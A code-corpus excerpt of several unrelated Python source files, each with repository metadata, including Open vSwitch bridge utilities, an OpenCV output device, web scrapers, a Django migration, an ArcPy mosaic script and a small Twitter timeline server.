prefix = ("hard_timeout=%s,idle_timeout=%s,priority=%s" %
(kwargs.get('hard_timeout', '0'),
kwargs.get('idle_timeout', '0'),
kwargs.get('priority', '1')))
flow_expr_arr.append(prefix)
elif 'priority' in kwargs:
raise Exception(_("Cannot match priority on flow deletion"))
in_port = ('in_port' in kwargs and ",in_port=%s" %
kwargs['in_port'] or '')
dl_type = ('dl_type' in kwargs and ",dl_type=%s" %
kwargs['dl_type'] or '')
dl_vlan = ('dl_vlan' in kwargs and ",dl_vlan=%s" %
kwargs['dl_vlan'] or '')
dl_src = 'dl_src' in kwargs and ",dl_src=%s" % kwargs['dl_src'] or ''
dl_dst = 'dl_dst' in kwargs and ",dl_dst=%s" % kwargs['dl_dst'] or ''
nw_src = 'nw_src' in kwargs and ",nw_src=%s" % kwargs['nw_src'] or ''
nw_dst = 'nw_dst' in kwargs and ",nw_dst=%s" % kwargs['nw_dst'] or ''
tun_id = 'tun_id' in kwargs and ",tun_id=%s" % kwargs['tun_id'] or ''
proto = 'proto' in kwargs and ",%s" % kwargs['proto'] or ''
ip = ('nw_src' in kwargs or 'nw_dst' in kwargs) and ',ip' or ''
match = (in_port + dl_type + dl_vlan + dl_src + dl_dst +
(ip or proto) + nw_src + nw_dst + tun_id)
if match:
match = match[1:] # strip leading comma
flow_expr_arr.append(match)
return flow_expr_arr
def add_flow(self, **kwargs):
if "actions" not in kwargs:
raise Exception(_("Must specify one or more actions"))
if "priority" not in kwargs:
kwargs["priority"] = "0"
flow_expr_arr = self._build_flow_expr_arr(**kwargs)
flow_expr_arr.append("actions=%s" % (kwargs["actions"]))
flow_str = ",".join(flow_expr_arr)
self.run_ofctl("add-flow", [flow_str])
def delete_flows(self, **kwargs):
kwargs['delete'] = True
flow_expr_arr = self._build_flow_expr_arr(**kwargs)
if "actions" in kwargs:
flow_expr_arr.append("actions=%s" % (kwargs["actions"]))
flow_str = ",".join(flow_expr_arr)
self.run_ofctl("del-flows", [flow_str])
def add_tunnel_port(self, port_name, remote_ip):
self.run_vsctl(["add-port", self.br_name, port_name])
self.set_db_attribute("Interface", port_name, "type", "gre")
self.set_db_attribute("Interface", port_name, "options:remote_ip",
remote_ip)
self.set_db_attribute("Interface", port_name, "options:in_key", "flow")
self.set_db_attribute("Interface", port_name, "options:out_key",
"flow")
return self.get_port_ofport(port_name)
def add_patch_port(self, local_name, remote_name):
self.run_vsctl(["add-port", self.br_name, local_name])
self.set_db_attribute("Interface", local_name, "type", "patch")
self.set_db_attribute("Interface", local_name, "options:peer",
remote_name)
return self.get_port_ofport(local_name)
def db_get_map(self, table, record, column):
output = self.run_vsctl(["get", table, record, column])
if output:
str = output.rstrip("\n\r")
return self.db_str_to_map(str)
return {}
def db_get_val(self, table, record, column):
output = self.run_vsctl(["get", table, record, column])
if output:
return output.rstrip("\n\r")
def db_str_to_map(self, full_str):
list = full_str.strip("{}").split(", ")
ret = {}
for e in list:
if e.find("=") == -1:
continue
arr = e.split("=")
ret[arr[0]] = arr[1].strip("\"")
return ret
def get_port_name_list(self):
res = self.run_vsctl(["list-ports", self.br_name])
if res:
return res.strip().split("\n")
return []
def get_port_stats(self, port_name):
return self.db_get_map("Interface", port_name, "statistics")
def get_xapi_iface_id(self, xs_vif_uuid):
args = ["xe", "vif-param-get", "param-name=other-config",
"param-key=nicira-iface-id", "uuid=%s" % xs_vif_uuid]
try:
return utils.execute(args, root_helper=self.root_helper).strip()
except Exception as e:
LOG.error(_("Unable to execute %(cmd)s. Exception: %(exception)s"),
{'cmd': args, 'exception': e})
# returns a VIF object for each VIF port
def get_vif_ports(self):
edge_ports = []
port_names = self.get_port_name_list()
for name in port_names:
external_ids = self.db_get_map("Interface", name, "external_ids")
ofport = self.db_get_val("Interface", name, "ofport")
if "iface-id" in external_ids and "attached-mac" in external_ids:
p = VifPort(name, ofport, external_ids["iface-id"],
external_ids["attached-mac"], self)
edge_ports.append(p)
elif ("xs-vif-uuid" in external_ids and
"attached-mac" in external_ids):
# if this is a xenserver and iface-id is not automatically
# synced to OVS from XAPI, we grab it from XAPI directly
iface_id = self.get_xapi_iface_id(external_ids["xs-vif-uuid"])
p = VifPort(name, ofport, iface_id,
external_ids["attached-mac"], self)
edge_ports.append(p)
return edge_ports
def get_vif_port_set(self):
edge_ports = set()
port_names = self.get_port_name_list()
for name in port_names:
external_ids = self.db_get_map("Interface", name, "external_ids")
if "iface-id" in external_ids and "attached-mac" in external_ids:
edge_ports.add(external_ids['iface-id'])
elif ("xs-vif-uuid" in external_ids and
"attached-mac" in external_ids):
# if this is a xenserver and iface-id is not automatically
# synced to OVS from XAPI, we grab it from XAPI directly
iface_id = self.get_xapi_iface_id(external_ids["xs-vif-uuid"])
edge_ports.add(iface_id)
return edge_ports
def get_vif_port_by_id(self, port_id):
args = ['--', '--columns=external_ids,name,ofport',
'find', 'Interface',
'external_ids:iface-id="%s"' % port_id]
result = self.run_vsctl(args)
if not result:
return
match = self.re_id.search(result)
try:
vif_mac = match.group('vif_mac')
vif_id = match.group('vif_id')
port_name = match.group('port_name')
ofport = int(match.group('ofport'))
return VifPort(port_name, ofport, vif_id, vif_mac, self)
except Exception as e:
LOG.info(_("Unable to parse regex results. Exception: %s"), e)
return
def delete_ports(self, all_ports=False):
if all_ports:
port_names = self.get_port_name_list()
else:
port_names = (port.port_name for port in self.get_vif_ports())
for port_name in port_names:
self.delete_port(port_name)
def get_local_port_mac(self):
"""Retrieve the mac of the bridge's local port."""
address = ip_lib.IPDevice(self.br_name, self.root_helper).link.address
if address:
return address
else:
msg = _('Unable to determine mac address for %s') % self.br_name
raise Exception(msg)
def get_bridge_for_iface(root_helper, iface):
args = ["ovs-vsctl", "--timeout=2", "iface-to-br", iface]
try:
return utils.execute(args, root_helper=root_helper).strip()
except Exception:
LOG.exception(_("Interface %s not found."), iface)
return None
def get_bridges(root_helper):
args = ["ovs-vsctl", "--timeout=2", "list-br"]
try:
return utils.execute(args, root_helper=root_helper).strip().split("\n")
except Exception as e:
LOG.exception(_("Unable to retrieve bridges. Exception: %s"), e)
return []
| [
"[email protected]"
] | |
14e8dbed30332cd7efd4f33f49eb69b34021b918 | f074fe742b1b242c75872e64a1196ba539066609 | /verres/visualization/device.py | ff5a30ac6fa9695ee2123a773b6f203465b4338c | [
"MIT"
] | permissive | csxeba/Verres | 63f31d82b4e12b4da8b5fa5cc930eb874f1aa60d | 04230d22b7791f84d86b9eb2272a6314a27580ed | refs/heads/master | 2023-04-07T02:07:26.863612 | 2021-12-09T20:15:12 | 2021-12-09T20:15:12 | 176,881,974 | 0 | 0 | MIT | 2023-03-18T19:56:38 | 2019-03-21T06:17:58 | Python | UTF-8 | Python | false | false | 3,901 | py | import pathlib
from typing import Union, List
import cv2
class OutputDevice:
def __init__(self, scale: float, fps: int):
self.scale = scale
self.fps = fps
def write(self, frame):
raise NotImplementedError
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
pass
class CV2Screen(OutputDevice):
def __init__(self, window_name="CV2Screen", fps=None, scale=1.):
super().__init__(scale, fps)
self.name = window_name
if self.fps is None:
self.fps = 1000
self.spf = 1000 // fps
self.online = False
def write(self, frame):
if not self.online:
self.online = True
if self.scale != 1:
frame = cv2.resize(frame, (0, 0), fx=self.scale, fy=self.scale, interpolation=cv2.INTER_CUBIC)
cv2.imshow(self.name, frame)
cv2.waitKey(self.spf)
def teardown(self):
if self.online:
cv2.destroyWindow(self.name)
self.online = False
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.teardown()
def __del__(self):
self.teardown()
class CV2VideoWriter(OutputDevice):
def __init__(self, file_name: str, fps: int, scale: float):
super().__init__(scale, fps)
self.file_name = file_name
self.size = None
self.device: Union[cv2.VideoWriter, None] = None
self._in_context = False
def __enter__(self):
self._in_context = True
def __exit__(self, exc_type, exc_val, exc_tb):
if self.device is not None:
self.device.release()
self.device = None
self._in_context = False
def write(self, frame):
if not self._in_context:
raise RuntimeError("Please run in a `with` context!")
if self.device is None:
fourcc = cv2.VideoWriter_fourcc(*"DIVX")
self.device = cv2.VideoWriter(self.file_name, fourcc, float(self.fps), frame.shape[:2][::-1])
if self.scale != 1:
frame = cv2.resize(frame, (0, 0), fx=self.scale, fy=self.scale)
self.device.write(frame)
class OutputDeviceList:
def __init__(self,
output_device_list: List[OutputDevice],
scale: float = None):
self.devices: List[OutputDevice] = output_device_list
self.in_context = False
if scale is not None:
for device in self.devices:
if device.scale not in [scale, 1.]:
raise RuntimeError("Ambiguous definitions for scale!")
device.scale = 1.
self.scale = scale
if not self.devices:
raise RuntimeError("No devices!")
def __enter__(self):
self.in_context = True
for device in self.devices:
device.__enter__()
def __exit__(self, exc_type=None, exc_val=None, exc_tb=None):
for device in self.devices:
device.__exit__(exc_type, exc_val, exc_tb)
def write(self, frame):
if not self.in_context:
raise RuntimeError("Please execute write() in a context manager!")
if self.scale != 1:
frame = cv2.resize(frame, (0, 0), fx=self.scale, fy=self.scale)
for device in self.devices:
device.write(frame)
def output_device_factory(fps: int,
scale: float = 1.,
to_screen: bool = True,
output_file: str = None):
devices = []
if to_screen:
devices.append(CV2Screen(fps=fps, scale=1.))
if output_file:
output_file = pathlib.Path(output_file)
output_file.parent.mkdir(parents=True, exist_ok=True)
devices.append(CV2VideoWriter(str(output_file), fps, scale=1.))
return OutputDeviceList(devices, scale) | [
"[email protected]"
] | |
a9d9fd85d84e026a37f651f024318f42aa8f8e13 | 6b33b2abe0dea14cbb7fec7dfd8f254be1e1f129 | /throttling_api/throttling_api/wsgi.py | f3a4a052a2cd7f74dbf52e439730fdbe7906f165 | [] | no_license | Ashish8135/Django_Rest_Api | bd507f768f04b16ded72097923d7ec460457525c | 95b79e065cc5366b779cd583e32e3081fb67e439 | refs/heads/master | 2023-03-25T21:33:04.924193 | 2021-03-20T19:25:56 | 2021-03-20T19:25:56 | 330,134,880 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 405 | py | """
WSGI config for throttling_api project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'throttling_api.settings')
application = get_wsgi_application()
| [
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] | |
8f55207db1ebb8dfdf3fd81e3e016c64a325d512 | 7a3bbe10dc7a797234ba707c97a187b30f3f4408 | /name-generator/name_scraper.py | 66359e87a4416d3c36a005a8607b72b7fe5f44b4 | [] | no_license | maknetaRo/python-100 | efbdf8ba2e4f62d3fd96d99f98adc509124c6974 | bc841997a6354810dcac1f09adaba04c3b45e166 | refs/heads/master | 2023-03-18T17:45:07.524711 | 2021-03-07T22:24:49 | 2021-03-07T22:24:49 | 297,062,451 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 909 | py | import requests
from bs4 import BeautifulSoup
import webbrowser
def get_data(url, file_name):
page = requests.get(url)
page.raise_for_status()
soup = BeautifulSoup(page.text, "html.parser")
tbody = soup.find_all(id="myTable")
f = open(file_name, "w+")
records = []
for elem in tbody:
rows = elem.find_all("tr")
for row in rows[1:301]:
column = row.find("td")
column_text = column.text[0] + column.text[1:].lower()
records.append(column_text)
for record in records:
f.write(record + "\n")
url = "https://namecensus.com/data/1000.html"
file_name = "last_names.txt"
get_data(url, file_name)
url = "https://namecensus.com/male_names.htm"
file_name = "male_first_names.txt"
get_data(url, file_name)
url = "https://namecensus.com/female_names.htm"
file_name = "female_first_names.txt"
get_data(url, file_name)
| [
"[email protected]"
] | |
5fe3a068ffe4258d1eea9ff261f3df77e303504c | 07131e91dcf2529e9c7058f8a8f239d419c8f7e0 | /154.find-minimum-in-rotated-sorted-array-ii.py | 8e39152ce5a56fc47d50bc670bb7a5999739dbab | [] | no_license | Code-Wen/LeetCode_Notes | 5194c5c5306cb9f4a0fac85e06fefe6c02d65d44 | 791fc1b43beef89d668788de6d12f5c643431b8f | refs/heads/master | 2021-07-04T14:41:00.830723 | 2020-09-27T16:31:22 | 2020-09-27T16:31:22 | 178,456,323 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,230 | py | #
# @lc app=leetcode id=154 lang=python3
#
# [154] Find Minimum in Rotated Sorted Array II
#
# https://leetcode.com/problems/find-minimum-in-rotated-sorted-array-ii/description/
#
# algorithms
# Hard (41.60%)
# Likes: 1168
# Dislikes: 245
# Total Accepted: 212.8K
# Total Submissions: 511K
# Testcase Example: '[1,3,5]'
#
# Suppose an array sorted in ascending order is rotated at some pivot unknown
# to you beforehand.
#
# (i.e., [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]).
#
# Find the minimum element.
#
# The array may contain duplicates.
#
# Example 1:
#
#
# Input: [1,3,5]
# Output: 1
#
# Example 2:
#
#
# Input: [2,2,2,0,1]
# Output: 0
#
# Note:
#
#
# This is a follow up problem to Find Minimum in Rotated Sorted Array.
# Would allow duplicates affect the run-time complexity? How and why?
#
#
#
# @lc code=start
class Solution:
def findMin(self, nums: List[int]) -> int:
lo, hi = 0, len(nums)-1
while lo < hi:
mid = lo + (hi-lo)//2
if nums[mid] < nums[hi]:
hi = mid
elif nums[mid] > nums[hi]:
lo = mid + 1
else:
hi -= 1
return nums[lo]
# @lc code=end
| [
"[email protected]"
] | |
ce867601d1809bfc0d961a05aaa09e9f2f114587 | d2eb4d79ebd7518099dc0e186ec5e73b1b7fb6e8 | /Humsci/dnld2/test.py | 8b44109ffd91f9da7f3bd246f1bb780e97d797e4 | [] | no_license | lylax47/Homework-and-Stuffs | e59cff91873f5eeee12087036a0d667f55f61d39 | eb738572f9894277d1bfc646793f9d98a92cfe81 | refs/heads/master | 2021-01-18T23:43:15.846000 | 2016-06-22T11:50:02 | 2016-06-22T11:50:02 | 48,043,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 149 | py | # with open('event_info.csv', 'r', encoding = 'utf-8') as cv:
# info = cv.read()
import pandas
df = pandas.read_csv("event_info.csv", sep = '\t') | [
"[email protected]"
] | |
c62dc06c7d081e5e733f4a1cc598e0ffce8ba919 | dc0d911ab71eaa2e888663ff9195009851aad81d | /creating_table.py | 22a52581b7db7f4f9f9223d08248ecd4d12ba6bf | [] | no_license | anyklaude/Translator | 914c441ee6783bd7fa8fbe126ceeb7eaf4f51693 | 5b2d9bb239e781707ad6a97d2b06d16f6978de90 | refs/heads/master | 2021-06-15T05:15:53.305411 | 2021-04-12T10:59:05 | 2021-04-12T10:59:05 | 183,452,261 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,324 | py | def create_table(cur):
cur.execute('DROP TABLE IF EXISTS TypingExchange')
cur.execute('''
CREATE TABLE TypingExchange (
code varchar(255),
natural_language varchar(255)
);''')
def insert_codes(cur):
dictionary = {
'be': 'Belarusian', 'bg': 'Bulgarian',
'hu': 'Hungarian', 'vi': 'Vietnamese',
'nl': 'Dutch', 'el': 'Greek',
'da': 'Danish', 'ga': 'Irish',
'it': 'Italian', 'is': 'Icelandic',
'es': 'Spanish', 'kk': 'Kazakh',
'ca': 'Catalan', 'zh': 'Chinese',
'ko': 'Korean', 'lv': 'Latvian',
'lt': 'Lithuanian', 'de': 'German',
'no': 'Norwegian', 'pl': 'Polish',
'pt': 'Portuguese', 'ro': 'Romanian',
'ru': 'Russian', 'sr': 'Serbian',
'sk': 'Slovakian', 'sl': 'Slovenian',
'th': 'Thai', 'tr': 'Turkish',
'uk': 'Ukrainian', 'fi': 'Finnish',
'fr': 'French', 'hr': 'Croatian',
'cs': 'Czech', 'sv': 'Swedish',
'gd': 'Scottish', 'et': 'Estonian',
'ja': 'Japanese'
}
for key in dictionary:
cur.execute('''INSERT INTO TypingExchange (code, natural_language)
VALUES ('{}', '{}');'''.format(key, dictionary[key]))
| [
"[email protected]"
] | |
fca8b399c76165f898e36b82275bf37b7c23e59a | 6c9ee703b142f9b9be64b9df0e3cf1f2ce09e0c2 | /ShopCart/myapp/migrations/0006_auto_20171125_0850.py | 1c6eaca8abd52852a0abb3c65858054ab1fdb4b3 | [] | no_license | ddchris/Shopping_cart | 4e7b8d68bba10b10a51351469a63e95131fcffaf | 2a5f9481c4b31d9b8a686bea8a33ba45d5155970 | refs/heads/master | 2021-09-06T18:07:35.652692 | 2018-02-09T12:43:50 | 2018-02-09T12:43:50 | 110,970,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,862 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2017-11-25 00:50
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('myapp', '0005_auto_20171115_2056'),
]
operations = [
migrations.RenameField(
model_name='productmodel',
old_name='pdesc',
new_name='p_desc',
),
migrations.RenameField(
model_name='productmodel',
old_name='pimgs',
new_name='p_imgs',
),
migrations.RenameField(
model_name='productmodel',
old_name='pname',
new_name='p_name',
),
migrations.RenameField(
model_name='productmodel',
old_name='pnewproduct',
new_name='p_newproduct',
),
migrations.RenameField(
model_name='productmodel',
old_name='ponsale',
new_name='p_onsale',
),
migrations.RenameField(
model_name='productmodel',
old_name='pprice',
new_name='p_price',
),
migrations.RenameField(
model_name='usermodel',
old_name='uname',
new_name='user_account',
),
migrations.RenameField(
model_name='usermodel',
old_name='uemail',
new_name='user_email',
),
migrations.RenameField(
model_name='usermodel',
old_name='ugender',
new_name='user_gender',
),
migrations.RenameField(
model_name='usermodel',
old_name='upassword',
new_name='user_password',
),
migrations.RemoveField(
model_name='usermodel',
name='ubirthday',
),
]
| [
"[email protected]"
] | |
dab9bab2e244eadf855a2a8158c1e89f8544dabb | d22fd24fdfe6f2cf3663ad52eecc3cdf42fe30a3 | /test_rank_DUNE17-cold.py | ccb81832ac9000cba0d4dc2aa1861d2d033d28dd | [] | no_license | dladams/duneadc | 0ccb841013e93bb0ca5f1107b3836f55fc765200 | 76ea180e47874b96512697c141f653d2813d78c4 | refs/heads/master | 2020-05-23T09:13:02.960754 | 2018-08-08T13:54:05 | 2018-08-08T13:54:05 | 80,441,704 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 947 | py | # test_rank_DUNE17-cold.py
# David Adams
# July 2017
#
# Test python output emitted by filldbd17c.C.
from rank_DUNE17_cold import effdst
from rank_DUNE17_cold import effrank
import dune17
nerr = 0
def testerror(msg):
global nerr
print "Test failed: " + msg
nerr = nerr + 1
def testequal(lhs, rhs, msg):
if lhs != rhs:
testerror(msg)
print " " + str(lhs) + " != " + str(rhs)
print "Dataset: " + effdst
testequal(effdst, "DUNE17-cold", "Dataset name")
#testequal(effdst, "badDUNE17-cold", "Dataset name 2")
dune17.setDs0710()
chips = dune17.dune17cChips()
testequal(len(chips), len(effrank), "chips and rank sizes");
for chip in chips:
if chip not in effrank:
testerror("Chip " + str(chip) + " is not in effrank.")
for chip in effrank:
if chip not in chips:
testerror("Ranked chip " + str(chip) + " is not in chip list.")
print
if nerr:
print "Failure count: " + str(nerr)
else:
print "All tests passed."
| [
"[email protected]"
] | |
7506ef5edf4d9d8584415ecace70955bc8940376 | 3ac423b72ceefc32a54b3348a84c559289e2ef0b | /mosaic_assemble.py | 75e7db455d5bb0afcaa8eb680595c52fb1e6b9c9 | [] | no_license | feomike/block_mosaic_overlay | 2524ee88acce57703070f2ec90caeeeb209ba7c1 | 2de33e5f18cc69c26974fd621aae0dd0a37338e2 | refs/heads/master | 2021-01-01T20:06:37.031735 | 2013-11-06T19:39:00 | 2013-11-06T19:39:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,443 | py | # ---------------------------------------------------------------------------
# mosaic_assemble.py
# Created on: March 8, 2013
# Created by: Michael Byrne
# Federal Communications Commission
# assembles the mosaic data into one dataset
# ---------------------------------------------------------------------------
# Import system modules
import arcpy
from arcpy import env
import sys, string, os, math
#write out global variables
thePGDB = "C:/Users/michael.byrne/mosaic/processing.gdb" #processing file geodatabase
arcpy.env.workspace = thePGDB
theLocation = "K:/Projects/Broadband Data/SWAT/American Roamer/2013 Jan/Carriers/"
#theLocation = "C:/Users/michael.byrne/mosaic/Carriers/test/"
theSpatialRef = "C:/Users/michael.byrne/mosaic/mosaic.prj"
CleanFirst = "yes"
if CleanFirst == "yes":
#clean files first
myFCs = ["mosaic_all"]
for myFC in myFCs:
if arcpy.Exists(myFC):
arcpy.Delete_management(myFC)
#create a new blank mosaic dataset
arcpy.CreateFeatureclass_management(thePGDB, "mosaic_all", "POLYGON", thePGDB + "/mosaic_template", "", "", theSpatialRef)
##write out functions
##function to assemble the right directories of delivered files
def mosaic_files():
#clean files first
myFCs = ["mydata", "mydata_dis"]
for myFC in myFCs:
if arcpy.Exists(myFC):
arcpy.Delete_management(myFC)
# get the list of the shape files in that directory
for dirname, dirnames, filenames in os.walk(theLocation):
for filename in filenames:
#print os.path.join(dirname, filename)
#arcpy.AddMessage(os.path.join(dirname, filename))
#arcpy.AddMessage("the right side is: " + os.path.join(dirname, filename)[-4:])
if os.path.join(dirname, filename)[-4:] == ".shp":
arcpy.AddMessage("thefile is: " + os.path.join(dirname, filename))
#copy in the source shapefile as the featureclass mydata
arcpy.CopyFeatures_management (os.path.join(dirname, filename), thePGDB + "/mydata")
#repair geometry on this
arcpy.RepairGeometry_management(thePGDB + "/mydata")
#create a new mydata featureclass which is a dissolve of the fields in the input shp
arcpy.Dissolve_management("mydata", thePGDB + "/mydata_dis", ["mkg_name", "entity", "protocol"])
#append the mydata featureclass to mosaic_all featureclass
arcpy.Append_management (["mydata_dis"], "mosaic_all") #, {schema_type}, {field_mapping}, {subtype})
myFCs = ["mydata", "mydata_dis"]
for myFC in myFCs:
if arcpy.Exists(myFC):
arcpy.Delete_management(myFC)
return()
#****************************************************************************
##################Main Code below
#****************************************************************************
try:
if arcpy.Exists(thePGDB + "/mosaic_all"):
mosaic_files()
#open a file to write when it finished
#outFile = "C:/users/michael.byrne/706/wireless_overlay_" + theST + ".txt"
#myFile = open(outFile, 'w')
#myFile.write(theST + ": finished\n")
#myFile.close()
else:
arcpy.AddMessage("output feature class doesn't exist")
del theLocation, theSpatialRef
except:
arcpy.AddMessage("Something bad happened")
| [
"[email protected]"
] | |
9d831422fe776b3f64d80a8a5e86d5f6f127931b | 874ff7c027534c0c074285ade4a08b138e7480f7 | /scripts/genomejp/get_maps.py | 6100190fa6c71808bb76dfa684c57c2229791bd2 | [] | no_license | hurwitzlab/iPlant-Bonnie | 1282eba9d034fd0d064c58230f6abc22c3be2ab8 | 52ae2af3a494f6fa15eec8dd25fab9bfaccc2acd | refs/heads/master | 2021-01-19T17:17:51.479828 | 2013-12-15T21:21:21 | 2013-12-15T21:21:21 | 9,780,365 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,971 | py | #!/usr/bin/env python
# get_maps.py
from bs4 import BeautifulSoup
import requests
import re
def rest_get(url):
r = requests.get(url)
results = r.text
re.compile(r'DBLINKS.+///', re.DOTALL)
filtered_text = re.sub(r'DBLINKS.+?///', '', results, flags=re.DOTALL)
return filtered_text
BASE_URL = 'http://www.genome.jp'
GENE_URL = BASE_URL + '/dbget-bin/get_linkdb?-t+8+path:map'
REST_URL = 'http://rest.kegg.jp/get/'
ENZYME_URL = BASE_URL + '/dbget-bin/get_linkdb?-t+enzyme+path:map'
KEGG_MAPS = 'test_maps'
OUTPUT = 'output/'
maps = open(KEGG_MAPS, 'r')
with open(KEGG_MAPS, 'r') as f:
for line in f.readlines():
if line.startswith(' '):
p = re.compile(r' (\d+) (.+)')
m = p.match(line)
map_text = m.group(2)[:-1]
kegg_map = m.group(1)
url = GENE_URL + kegg_map
print 'Requesting ' + url
r = requests.get(url)
soup = BeautifulSoup(r.text)
links = soup.find_all('a')
out = OUTPUT + kegg_map + map_text.replace(' ', '_')
print out
outfile = open(out, 'w')
counter = 0
query = ''
for link in links:
href = link.get('href')
print href
if href.startswith('/dbget-bin'):
counter += 1
query = query + link.text
if counter != 10:
query = query + '+'
if counter == 10:
rest_url = REST_URL + query
print rest_url
outfile.write(rest_get(rest_url))
query = ''
counter = 0
if counter != 0:
query = query[:-1]
rest_url = REST_URL + query
print rest_url
outfile.write(rest_get(rest_url))
outfile.close()
| [
"[email protected]"
] | |
40eb5b330e2142c6e8e1c6ae3693e15a7619dd36 | 8e7c5fec76078d61d14c68fb2aff9886e3e81b0e | /server_code/BasicTwitterAPI.py | affd37417b53fe433f8c54c50c4da0492b2f5385 | [
"MIT"
] | permissive | dfiel/TweetOrYeet | aedd44a5f3f725d5aa28a1a3c581b9974e3dbe0a | 8f92a2bf153d633b9954c221f4c0ade12491b90a | refs/heads/master | 2022-04-06T07:36:02.991169 | 2020-02-23T17:41:26 | 2020-02-23T17:41:26 | 242,412,270 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 597 | py | from twitter import Twitter, OAuth
import secrets
import json
import http.server
global session
class JSONHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(json.dumps(session.statuses.user_timeline(screen_name="TweetOrYeet1")).encode())
if __name__ == '__main__':
session = Twitter(auth=OAuth(secrets.token, secrets.token_secret, secrets.consumer_key, secrets.consumer_secret))
httpd = http.server.HTTPServer(('', 8080), JSONHTTPRequestHandler)
httpd.serve_forever()
| [
"[email protected]"
] | |
fc58394071ed4ea0e75130c06e3b1b5aa9f374f4 | bf0eeff2cdbe62c63578ce510cb112c7b88e5989 | /Galleria/gallery/migrations/0002_post_submitter.py | 15d27e9a1fb3414cffb82b4e0e713c87d6ed65af | [] | no_license | FinerDetails/BitLouvre | da313bbd72f31cf25b6e5f1eaf90ce819a00a61b | 6ffb4ddc088ff1e9900af316b6c5cfe10754f3c7 | refs/heads/master | 2023-08-23T09:19:46.532973 | 2021-10-07T20:31:26 | 2021-10-07T20:31:26 | 410,970,419 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 630 | py | # Generated by Django 3.2.7 on 2021-09-30 18:02
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('gallery', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='post',
name='submitter',
field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to='auth.user'),
preserve_default=False,
),
]
| [
"villegalle@villegalle.tfr3vjnqky3ehg5ptc4pxahyoe.fx.internal.cloudapp.net"
] | villegalle@villegalle.tfr3vjnqky3ehg5ptc4pxahyoe.fx.internal.cloudapp.net |
e321bb43a8f776c68156cf97c5c0f05911953140 | 459a47275f872c2af9af29b755395c38dc1fed2e | /qiskit/validation/jsonschema/__init__.py | 9907fdfdc89df1f21c6f7161807f4eb88461bed1 | [
"Apache-2.0"
] | permissive | uguraba/qiskit-terra | 3370c34d81421ab9045a1309d3c8403686e317c7 | 56ee4ca815dd0165dd62684abd364ae706b4fe10 | refs/heads/master | 2020-05-16T20:59:43.552780 | 2019-04-24T18:18:12 | 2019-04-24T18:18:12 | 183,293,754 | 0 | 0 | Apache-2.0 | 2020-01-17T16:39:34 | 2019-04-24T19:27:13 | Python | UTF-8 | Python | false | false | 344 | py | # -*- coding: utf-8 -*-
# Copyright 2019, IBM.
#
# This source code is licensed under the Apache License, Version 2.0 found in
# the LICENSE.txt file in the root directory of this source tree.
"""Validation using the .json schemas."""
from .exceptions import SchemaValidationError
from .schema_validation import validate_json_against_schema
| [
"[email protected]"
] | |
51cb61471d7c6c1f20e291e98404201a6f8ba047 | ce5d75e7e77d42899855b631893a23e60449561e | /Problems/Smile for me/main.py | 7f3932d89377eb7fe2722a3e6455d304f91d8d74 | [] | no_license | imkouyo/text-generator | b4af2436c1ca77b6687cd42d1c8e43b5d701388a | 0aed80a2bb066090e3de6e6238b3316ab5a801bc | refs/heads/master | 2023-03-27T08:18:59.236012 | 2021-03-24T03:12:58 | 2021-03-24T03:12:58 | 350,925,563 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 63 | py | import re
# define regex template
template = ':[(o)-][(o)]?'
| [
"[email protected]"
] | |
0189eba08470aa0f68986213a1349946a64b8399 | 70e30ea2dd73bbc9ed52057885535e135160f12c | /src/utils/pyTweetCleaner.py | 2ed7fa4a183c120b1721a339e3584edce4cec5bc | [
"MIT"
] | permissive | xianhuaxizi/Event-Detection-from-Tweets | bb91abfa4ee495e59540c878ef6198f767db4c6a | 6bffc688b168ef30a20a6b1b27ea42f4ce1ebbc2 | refs/heads/master | 2020-04-10T15:11:18.975299 | 2018-12-05T09:34:58 | 2018-12-05T09:34:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,250 | py | # See the original pyTweetCleaner at https://github.com/kevalmorabia97/pyTweetCleaner
"""
REMOVE: TWEETS THAT HAVE in_reply_to_status_id !=null i.e. COMMENTS ON SOMEONE ELSE'S TWEETS
TWEETS THAT HAVE lang != en i.e. NOT IN ENGLISH LANGUAGE
DATA ABOUT DELETED TWEETS
NON-ASCII CHARACTERS FROM text
HYPERLINKS FROM text
STOPWORDS from text
#tags & @name mentions
digits[0-9] FROM text
KEEP: created_at
id
text IN LOWERCASE
user_id
user_followers_count
retweet_count
entities_hashtags, entities_user_mentions
retweeted_status REPLACES ACTUAL tweet BUT PRESERVES RETWEETER'S USER INFO
"""
import json
import re
import string
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize
class TweetCleaner:
def __init__(self, remove_stop_words=True, remove_retweets=False):
"""
clean unnecessary twitter data
"""
if remove_stop_words: self.stop_words = set(stopwords.words('english'))
else: self.stop_words = set()
self.remove_retweets = remove_retweets
self.punc_table = str.maketrans("", "", string.punctuation) # to remove punctuation from each word in tokenize
def remove_non_ascii_chars(self, text):
"""
